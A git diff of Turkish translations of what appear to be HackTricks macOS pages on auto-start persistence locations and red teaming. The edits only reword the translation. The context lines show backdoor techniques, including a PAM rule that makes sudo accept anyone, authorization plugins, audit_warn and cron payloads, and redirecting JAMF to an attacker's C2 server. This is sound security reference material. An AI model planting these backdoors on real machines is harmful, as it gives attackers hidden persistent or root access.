@@ Yazı: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://po - Sandbox'ı atlatmak için faydalı: [✅](https://emojipedia.org/check-mark-button) - TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) -- Ekstra TCC erişimi alabilirsiniz +- Ekstra TCC erişimi elde edebilirsiniz #### Konum @@ -313,7 +313,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.git - Sandbox'ı atlatmak için faydalı: [✅](https://emojipedia.org/check-mark-button) - TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) -- Ekstra TCC erişimi alabilirsiniz +- Ekstra TCC erişimi elde edebilirsiniz #### Konum @@ -401,14 +401,14 @@ crontab -l ``` Kullanıcıların tüm cron görevlerini **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** içinde görebilirsiniz (root gerektirir). -MacOS'ta belirli bir sıklıkla scriptleri çalıştıran birkaç klasör bulunmaktadır: +MacOS'ta belirli bir sıklıkta scriptleri çalıştıran birkaç klasör bulunmaktadır: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` Orada düzenli **cron** **görevlerini**, **at** **görevlerini** (çok fazla kullanılmayan) ve **periyodik** **görevleri** (esas olarak geçici dosyaları temizlemek için kullanılan) bulabilirsiniz. Günlük periyodik görevler, örneğin `periodic daily` ile çalıştırılabilir. -Bir **kullanıcı cronjob'unu programatik olarak** eklemek için şunu kullanmak mümkündür: +Bir **kullanıcı cronjob'unu programatik olarak** eklemek için şunu kullanabilirsiniz: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron @@ -424,15 +424,15 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g #### Locations - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** -- **Tetikleyici**: iTerm'i aç +- **Trigger**: iTerm'i aç - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** -- **Tetikleyici**: iTerm'i aç +- **Trigger**: iTerm'i aç - **`~/Library/Preferences/com.googlecode.iterm2.plist`** -- **Tetikleyici**: iTerm'i aç +- **Trigger**: iTerm'i aç #### Description & Exploitation -**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** içinde saklanan betikler çalıştırılacaktır. Örneğin: +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** içinde saklanan scriptler çalıştırılacaktır. Örneğin: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -462,7 +462,7 @@ EOF ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` -**`~/Library/Preferences/com.googlecode.iterm2.plist`** içindeki iTerm2 tercihleri, iTerm2 terminali açıldığında **çalıştırılacak bir komut belirtmek** için kullanılabilir. +iTerm2 tercihleri **`~/Library/Preferences/com.googlecode.iterm2.plist`** dosyasında **çalıştırılacak bir komut belirtebilir** iTerm2 terminali açıldığında. Bu ayar iTerm2 ayarlarında yapılandırılabilir: @@ -508,7 +508,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.g #### Açıklama -Eğer popüler program [**xbar**](https://github.com/matryer/xbar) kuruluysa, **`~/Library/Application\ Support/xbar/plugins/`** dizininde bir shell script yazmak mümkündür; bu script xbar başlatıldığında çalıştırılacaktır: +Eğer popüler program [**xbar**](https://github.com/matryer/xbar) kuruluysa, **`~/Library/Application\ Support/xbar/plugins/`** dizininde bir shell script yazmak mümkündür ve bu script xbar başlatıldığında çalıştırılacaktır: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -636,13 +636,13 @@ Bu öğeler **`~/Library/Application Support/com.apple.backgroundtaskmanagementa Bir **ZIP** dosyasını **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** bunu açacaktır ve zip örneğin **`~/Library`** içinde saklanmışsa ve **`LaunchAgents/file.plist`** adlı bir klasör içeriyorsa, bu klasör oluşturulacaktır (varsayılan olarak oluşturulmaz) ve plist eklenecektir, böylece kullanıcı bir sonraki oturum açtığında, **plist'te belirtilen arka kapı çalıştırılacaktır**. -Diğer bir seçenek, kullanıcı HOME dizini içinde **`.bash_profile`** ve **`.zshenv`** dosyalarını oluşturmaktır, böylece LaunchAgents klasörü zaten mevcutsa bu teknik yine de çalışacaktır. +Diğer bir seçenek, kullanıcı HOME dizininde **`.bash_profile`** ve **`.zshenv`** dosyalarını oluşturmaktır, böylece LaunchAgents klasörü zaten mevcutsa bu teknik yine de çalışacaktır. ### At Yazı: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -- Sandbox'ı atlamak için faydalı: [✅](https://emojipedia.org/check-mark-button) +- Sandbox'ı atlatmak için faydalı: [✅](https://emojipedia.org/check-mark-button) - Ancak **`at`** komutunu **çalıştırmanız** ve **etkinleştirilmiş** olması gerekir. - TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) @@ -652,7 +652,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.git #### **Açıklama** -`at` görevleri, belirli zamanlarda yürütülmek üzere **bir kerelik görevleri planlamak** için tasarlanmıştır. Cron görevlerinin aksine, `at` görevleri yürütüldükten sonra otomatik olarak kaldırılır. Bu görevlerin sistem yeniden başlatmalarında kalıcı olduğunu belirtmek önemlidir, bu da belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretlenmelerine neden olur. +`at` görevleri, belirli zamanlarda **bir kerelik görevleri** planlamak için tasarlanmıştır. Cron görevlerinin aksine, `at` görevleri yürütüldükten sonra otomatik olarak kaldırılır. Bu görevlerin sistem yeniden başlatmalarında kalıcı olduğunu belirtmek önemlidir, bu da belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretlenmelerine neden olur. **Varsayılan olarak** **devre dışıdır**, ancak **root** kullanıcısı bunları **etkinleştirebilir**: ```bash @@ -714,8 +714,8 @@ total 32 Dosya adı, kuyruğu, iş numarasını ve çalıştırılacağı zamanı içerir. Örneğin `a0001a019bdcd2`'ye bakalım. - `a` - bu kuyruk -- `0001a` - onaltılık iş numarası, `0x1a = 26` -- `019bdcd2` - onaltılık zaman. Epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2` ondalık olarak `26991826`'dır. Bunu 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021. Nisan 27., Salı 7:46:00`'dır. +- `0001a` - iş numarası hex formatında, `0x1a = 26` +- `019bdcd2` - zaman hex formatında. Epoch'tan itibaren geçen dakikaları temsil eder. `0x019bdcd2` ondalık olarak `26991826`'dır. Bunu 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021. Nisan 27., Salı 7:46:00`'dır. İş dosyasını yazdırdığımızda, `at -c` kullanarak elde ettiğimiz aynı bilgileri içerdiğini buluruz. @@ -739,13 +739,13 @@ Yazı: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923 #### Açıklama & Sömürü -Klasör Eylemleri, bir klasördeki öğelerin eklenmesi, kaldırılması veya klasör penceresinin açılması veya boyutunun değiştirilmesi gibi değişiklikler tarafından otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları gibi farklı yollarla tetiklenebilir. +Klasör Eylemleri, bir klasördeki öğelerin eklenmesi, kaldırılması veya klasör penceresinin açılması veya boyutunun değiştirilmesi gibi değişikliklerle otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları gibi farklı yollarla tetiklenebilir. Klasör Eylemlerini ayarlamak için şu seçeneklere sahipsiniz: 1. [Automator](https://support.apple.com/guide/automator/welcome/mac) ile bir Klasör Eylemi iş akışı oluşturmak ve bunu bir hizmet olarak yüklemek. 2. Bir klasörün bağlam menüsündeki Klasör Eylemleri Ayarı aracılığıyla bir betiği manuel olarak eklemek. -3. `System Events.app`'e Apple Event mesajları göndermek için OSAScript kullanarak programlı olarak bir Klasör Eylemi ayarlamak. +3. `System Events.app`'e Apple Event mesajları göndermek için OSAScript kullanarak programatik olarak bir Klasör Eylemi ayarlamak. - Bu yöntem, eylemi sisteme entegre etmek için özellikle yararlıdır ve bir düzeyde kalıcılık sunar. Aşağıdaki betik, bir Klasör Eylemi tarafından yürütülebilecek bir örnektir: @@ -776,9 +776,9 @@ Kurulum betiğini şu şekilde çalıştırın: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` -- Bu kalıcılığı GUI aracılığıyla uygulamanın yolu: +- Bu, bu kalıcılığı GUI aracılığıyla uygulamanın yoludur: -Bu yürütülecek betiktir: +Bu, çalıştırılacak olan betiktir: ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -806,17 +806,17 @@ Bu yapılandırma, **plist** içinde **`~/Library/Preferences/com.apple.FolderAc 1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** dosyasını yedeklemek için `/tmp`'ye kopyalayın: - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. Yeni ayarladığınız Folder Actions'ı **kaldırın**: +2. Az önce ayarladığınız Folder Actions'ı **kaldırın**:
Artık boş bir ortamımız var -3. Yedek dosyayı kopyalayın: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +3. Yedek dosyasını kopyalayın: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` 4. Bu yapılandırmayı kullanmak için Folder Actions Setup.app'ı açın: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> Bu benim için çalışmadı, ama bunlar yazımın talimatları:( +> Ve bu benim için çalışmadı, ama bunlar yazımın talimatları:( ### Dock kısayolları @@ -933,7 +933,7 @@ Kütüphanenizi yükleyen ikilinin **çok kısıtlayıcı bir sandbox'ı** oldu **Yazı**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ **Yazı**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Sandbox'ı atlatmak için yararlı: **Hayır, çünkü kendi uygulamanızı çalıştırmanız gerekiyor** +- Sandbox'ı atlatmak için faydalı: **Hayır, çünkü kendi uygulamanızı çalıştırmanız gerekiyor** - TCC atlatma: ??? #### Konum @@ -973,9 +973,9 @@ Yazı: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://pos #### Açıklama & Sömürü -Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, kodunuzu ekleyin, örneğin log oluşturmak için aşağıdaki kodu kullanın. +Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, kodunuzu ekleyin, örneğin günlükler oluşturmak için aşağıdaki kodu kullanın. -**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Ardından, Ekran Koruyucu GUI'sini açın ve üzerine tıkladığınızda, birçok log oluşturması gerekir: +**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Ardından, Ekran Koruyucu GUI'sini açın ve üzerine tıkladığınızda, çok sayıda günlük oluşturması gerekir: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -985,7 +985,7 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` > [!CAUTION] -> Bu kodu yükleyen ikilinin yetkilendirmeleri içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulabileceğiniz için **ortak uygulama kumandasının içinde** olacaksınız. +> Bu kodu yükleyen ikilinin yetkilendirmeleri içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulabileceğiniz için **ortak uygulama kumandasının içinde olacaksınız**. Saver code: ```objectivec @@ -1057,7 +1057,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Sandbox'ı atlatmak için yararlıdır: [🟠](https://emojipedia.org/large-orange-circle) +- Sandbox'ı atlatmak için faydalı: [🟠](https://emojipedia.org/large-orange-circle) - Ama bir uygulama sandbox'ında kalacaksınız - TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) - Sandbox çok sınırlı görünüyor @@ -1133,9 +1133,9 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist > [!CAUTION] > Diğer `mdimporter`'ların Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girişini bulamayabilirsiniz. Bunun nedeni, bunun yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) olması ve uzantıları belirtmesine gerek olmamasıdır. > -> Ayrıca, sistem varsayılan eklentileri her zaman önceliğe sahiptir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından başka türlü dizinlenmemiş dosyalara erişebilir. +> Ayrıca, sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından başka türlü dizinlenmemiş dosyalara erişebilir. -Kendi importer'ınızı oluşturmak için bu projeyle başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı, **`CFBundleDocumentTypes`**'ı değiştirip **`UTImportedTypeDeclarations`** ekleyerek desteklemek istediğiniz uzantıyı desteklemesini sağlayın ve **`schema.xml`**'de yansıtın.\ +Kendi importer'ınızı oluşturmak için bu projeyle başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı, **`CFBundleDocumentTypes`**'ı değiştirip **`UTImportedTypeDeclarations`** ekleyerek desteklemek istediğiniz uzantıyı desteklemesini sağlayın ve bunları **`schema.xml`**'de yansıtın.\ Ardından, **`GetMetadataForFile`** fonksiyonunun kodunu, işlenmiş uzantıya sahip bir dosya oluşturulduğunda yüklemenizi çalıştıracak şekilde **değiştirin**. Son olarak, **yeni `.mdimporter`'ınızı** önceki konumlardan birine **oluşturun ve kopyalayın** ve yüklendiğini kontrol edebilirsiniz **logları izleyerek** veya **`mdimport -L.`** kontrol ederek. @@ -1147,7 +1147,7 @@ Son olarak, **yeni `.mdimporter`'ınızı** önceki konumlardan birine **oluştu Yazı: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Sandbox'ı atlatmak için yararlıdır: [🟠](https://emojipedia.org/large-orange-circle) +- Sandbox'ı atlamak için yararlıdır: [🟠](https://emojipedia.org/large-orange-circle) - Belirli bir kullanıcı eylemi gerektirir - TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) @@ -1170,7 +1170,7 @@ Artık bunun çalıştığına dair bir izlenim yok. Yazı: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Sandbox'ı atlatmak için yararlıdır: [🟠](https://emojipedia.org/large-orange-circle) +- Sandbox'ı atlamak için yararlıdır: [🟠](https://emojipedia.org/large-orange-circle) - Ama root olmanız gerekiyor - TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) @@ -1185,7 +1185,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.git #### Açıklama & Sömürü -Periyodik betikler (**`/etc/periodic`**) `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılan **başlatma daemon'ları** nedeniyle çalıştırılır. `/etc/periodic/`'de depolanan betiklerin **dosyanın sahibi olarak** **çalıştırıldığını** unutmayın, bu nedenle bu potansiyel bir ayrıcalık yükseltmesi için işe yaramayacaktır. +Periyodik betikler (**`/etc/periodic`**) `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılan **başlatma daemon'ları** nedeniyle çalıştırılır. `/etc/periodic/`'de saklanan betiklerin **dosya sahibi olarak** **çalıştırıldığını** unutmayın, bu nedenle bu potansiyel bir ayrıcalık yükseltmesi için işe yaramaz. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1226,7 +1226,7 @@ monthly_local="/etc/monthly.local" # Local scripts Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, bu dosya **bir şekilde çalıştırılacaktır**. > [!WARNING] -> Periyodik scriptin **scriptin sahibi olarak çalıştırılacağını** unutmayın. Yani eğer scriptin sahibi bir normal kullanıcıysa, bu script o kullanıcı olarak çalıştırılacaktır (bu, ayrıcalık yükseltme saldırılarını engelleyebilir). +> Periyodik scriptin **scriptin sahibi olarak çalıştırılacağını** unutmayın. Yani eğer scriptin sahibi bir normal kullanıcıysa, bu script o kullanıcı olarak çalıştırılacaktır (bu, ayrıcalık yükseltme saldırılarını önleyebilir). ### PAM @@ -1249,7 +1249,7 @@ PAM modüllerini kontrol etmek için: ```bash ls -l /etc/pam.d ``` -Bir kalıcılık/ayrıcalık yükseltme tekniği PAM'ı istismar etmek için /etc/pam.d/sudo modülünü değiştirmek kadar kolaydır, başına şu satırı ekleyerek: +PAM'i istismar eden bir kalıcılık/ayrıcalık yükseltme tekniği, /etc/pam.d/sudo modülünü değiştirip başına şu satırı eklemek kadar kolaydır: ```bash auth sufficient pam_permit.so ``` @@ -1269,7 +1269,7 @@ Ve bu nedenle **`sudo` kullanma girişimi işe yarayacaktır**. > [!CAUTION] > Bu dizinin TCC tarafından korunduğunu unutmayın, bu nedenle kullanıcının erişim talep eden bir istem alması oldukça olasıdır. -Bir diğer güzel örnek ise su'dur, burada PAM modüllerine parametreler vermenin de mümkün olduğunu görebilirsiniz (ve bu dosyayı da arka kapı ile değiştirebilirsiniz): +Başka güzel bir örnek ise su'dur, burada PAM modüllerine parametreler vermenin de mümkün olduğunu görebilirsiniz (ve bu dosyayı da arka kapı ile değiştirebilirsiniz): ```bash cat /etc/pam.d/su # su: auth account session @@ -1297,7 +1297,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza #### Açıklama & Sömürü -Kullanıcı giriş yaptığında sürekli bağlantıyı sürdürmek için çalıştırılacak bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki yazılara göz atın (ve dikkatli olun, kötü yazılmış bir eklenti sizi kilitleyebilir ve mac'inizi kurtarma modundan temizlemeniz gerekebilir). +Kullanıcı giriş yaptığında sürekli kalmak için çalıştırılacak bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki yazılara göz atın (ve dikkatli olun, kötü yazılmış bir eklenti sizi kilitleyebilir ve mac'inizi kurtarma modundan temizlemeniz gerekebilir). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1335,7 +1335,7 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -**`evaluate-mechanisms`** yetkilendirme çerçevesine **bir dış yetkilendirme mekanizmasını çağırması gerektiğini** söyleyecektir. Ayrıca, **`privileged`** bunun root tarafından çalıştırılmasını sağlayacaktır. +**`evaluate-mechanisms`** yetkilendirme çerçevesine **harici bir yetkilendirme mekanizmasını çağırması gerektiğini** söyleyecektir. Ayrıca, **`privileged`** bunun root tarafından çalıştırılmasını sağlayacaktır. Bunu tetiklemek için: ```bash @@ -1355,11 +1355,11 @@ Yazı: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.git - **`/private/etc/man.conf`** - Root gereklidir -- **`/private/etc/man.conf`**: Man her kullanıldığında +- **`/private/etc/man.conf`**: Man kullanıldığında #### Açıklama & Sömürü -Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelerini açarken kullanılacak ikili/dosya yolunu belirtir. Bu nedenle, yürütülebilir dosyanın yolu değiştirilerek, kullanıcı man ile bazı belgeleri okuduğunda bir arka kapının çalıştırılması sağlanabilir. +Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelerini açarken kullanılacak ikili/dosya betiğini belirtir. Bu nedenle, yürütülebilir dosyanın yolu değiştirilerek, kullanıcı man ile bazı belgeleri okuduğunda bir arka kapının çalıştırılması sağlanabilir. Örneğin **`/private/etc/man.conf`** içinde ayarlayın: ``` @@ -1385,7 +1385,7 @@ touch /tmp/manconf #### Location - **`/etc/apache2/httpd.conf`** -- Root gerekli +- Root gereklidir - Tetikleyici: Apache2 başlatıldığında #### Description & Exploit @@ -1396,7 +1396,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek gereken, ya **geçerli bir Apple sertifikası ile imzalamanız** ya da sistemde **yeni bir güvenilir sertifika eklemeniz** ve bunu **imzalamanızdır**. -Sonra, gerekirse, sunucunun başlatılmasını sağlamak için şunu çalıştırabilirsiniz: +Sonra, gerekiyorsa, sunucunun başlatılmasını sağlamak için şunu çalıştırabilirsiniz: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` @@ -1428,7 +1428,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.g #### Açıklama & Sömürü -auditd her uyarı tespit ettiğinde **`/etc/security/audit_warn`** betiği **çalıştırılır**. Bu nedenle, ona yüklemenizi ekleyebilirsiniz. +auditd her uyarı tespit ettiğinde **`/etc/security/audit_warn`** betiği **çalıştırılır**. Bu nedenle, yükünüzü buna ekleyebilirsiniz. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` @@ -1438,7 +1438,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn > [!CAUTION] > **Bu artık kullanılmıyor, bu nedenle o dizinlerde hiçbir şey bulunmamalıdır.** -**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde konumlandırılması gereken bir dizindir. Bu dizin oluşturulduğunda, iki belirli dosyayı içermelidir: +**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde konumlandırılması gereken bir dizindir. Bu dizin oluşturulduktan sonra, iki belirli dosyayı içermelidir: 1. Bir **rc script**: Başlangıçta yürütülen bir shell script. 2. Özellikle `StartupParameters.plist` adı verilen bir **plist dosyası**, çeşitli yapılandırma ayarlarını içerir. @@ -1517,7 +1517,7 @@ XQuartz **artık macOS'ta yüklü değil**, bu yüzden daha fazla bilgi istiyors ### ~~kext~~ > [!CAUTION] -> Kext'i root olarak bile yüklemek o kadar karmaşık ki, bunu sandbox'lardan kaçmak veya kalıcılık için düşünmeyeceğim (bir sömürüye sahip olmadığınız sürece) +> Kext yüklemek o kadar karmaşık ki, bunu sandboxlardan kaçmak veya kalıcılık için düşünmeyeceğim (bir sömürüye sahip olmadığınız sürece) #### Konum @@ -1526,7 +1526,7 @@ Bir KEXT'i başlangıç öğesi olarak yüklemek için, **aşağıdaki konumlard - `/System/Library/Extensions` - OS X işletim sistemine entegre edilmiş KEXT dosyaları. - `/Library/Extensions` -- 3. parti yazılımlar tarafından yüklenen KEXT dosyaları +- Üçüncü taraf yazılımlar tarafından yüklenen KEXT dosyaları Mevcut yüklü kext dosyalarını listelemek için: ```bash @@ -1565,13 +1565,13 @@ Yazı: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.git #### Açıklama & sömürü -Görünüşe göre bu scripti çalıştırmak pek yaygın değil ve ben bile macOS'ümde bulamadım, bu yüzden daha fazla bilgi istiyorsanız yazıya bakın. +Görünüşe göre bu betiği çalıştırmak pek yaygın değil ve ben bile macOS'ümde bulamadım, bu yüzden daha fazla bilgi istiyorsanız yazıya bakın. ### ~~/etc/rc.common~~ -> [!CAUTION] > **Bu modern MacOS sürümlerinde çalışmıyor** +> [!CAUTION] > **Bu, modern MacOS sürümlerinde çalışmıyor** -Ayrıca burada **başlangıçta çalıştırılacak komutlar yerleştirmek mümkündür.** Örnek olarak normal rc.common scripti: +Ayrıca burada **başlangıçta çalıştırılacak komutlar yerleştirmek mümkündür.** Örnek olarak normal rc.common betiği: ```bash # # Common setup for startup scripts. diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index da8d8078d..253a4fac6 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -24,7 +24,7 @@ Kendi MDM'nizi çalıştırmak için **CSR'nizin bir satıcı tarafından imzala Ancak, kayıtlı bir cihazda bir uygulama yüklemek için, hala bir geliştirici hesabı tarafından imzalanmış olması gerekir... ancak, MDM kaydı sırasında **cihaz MDM'nin SSL sertifikasını güvenilir CA olarak ekler**, böylece artık her şeyi imzalayabilirsiniz. -Cihazı bir MDM'ye kaydetmek için, **`mobileconfig`** dosyasını root olarak yüklemeniz gerekir, bu bir **pkg** dosyası aracılığıyla teslim edilebilir (zip dosyasına sıkıştırabilir ve Safari'den indirildiğinde açılacaktır). +Cihazı bir MDM'ye kaydetmek için, **`mobileconfig`** dosyasını root olarak yüklemeniz gerekir, bu bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve Safari'den indirildiğinde açılacaktır). **Mythic agent Orthrus** bu tekniği kullanır. @@ -42,7 +42,7 @@ Ayrıca, uygun kimlik bilgilerini bulduktan sonra, diğer kullanıcı adlarını ![](<../../images/image (107).png>) -#### JAMF Cihaz Kimlik Doğrulaması +#### JAMF cihaz Kimlik Doğrulama
@@ -51,7 +51,7 @@ Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** içind #### JAMF Cihaz Ele Geçirme -**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** içinde yer almaktadır.\ +**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** dosyasında bulunmaktadır.\ Bu dosya temelde URL'yi içerir: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist @@ -65,7 +65,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist 4 [...] ``` -Bu nedenle, bir saldırgan, yüklendiğinde **bu dosyayı üzerine yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'ı C2 olarak kötüye kullanabilir. +Bu nedenle, bir saldırgan, yüklendiğinde bu dosyayı **üstüne yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'i C2 olarak kötüye kullanma imkanı elde edebilir. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -89,7 +89,7 @@ Ayrıca, yöneticilerin Jamf aracılığıyla çalıştırmak isteyebileceği ** Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak geçebilir, bu nedenle `ps aux | grep -i jamf` komutunu izlemelisiniz (root olmadan bile). -[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir. +[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) adlı betik, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir. ### macOS Uzaktan Erişim @@ -101,7 +101,7 @@ Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında: ## Active Directory -Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görebilirsiniz. Bu senaryoda, aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda bazı **yardım** bulabilirsiniz: +Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda bazı **yardımlar** bulabilirsiniz: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -121,9 +121,9 @@ dscl "/Active Directory/[Domain]/All Domains" ls / ``` Ayrıca, MacOS için AD'yi otomatik olarak listelemek ve kerberos ile oynamak için hazırlanmış bazı araçlar vardır: -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplama ve alma imkanı sağlayan Bloodhound denetim aracının bir uzantısıdır. +- [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS hostlarında Active Directory ilişkilerini toplamak ve almak için Bloodhound denetim aracına bir ektir. - [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'taki Heimdal krb5 API'leri ile etkileşimde bulunmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden, macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır. -- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory listeleme yapmak için JavaScript for Automation (JXA) aracı. +- 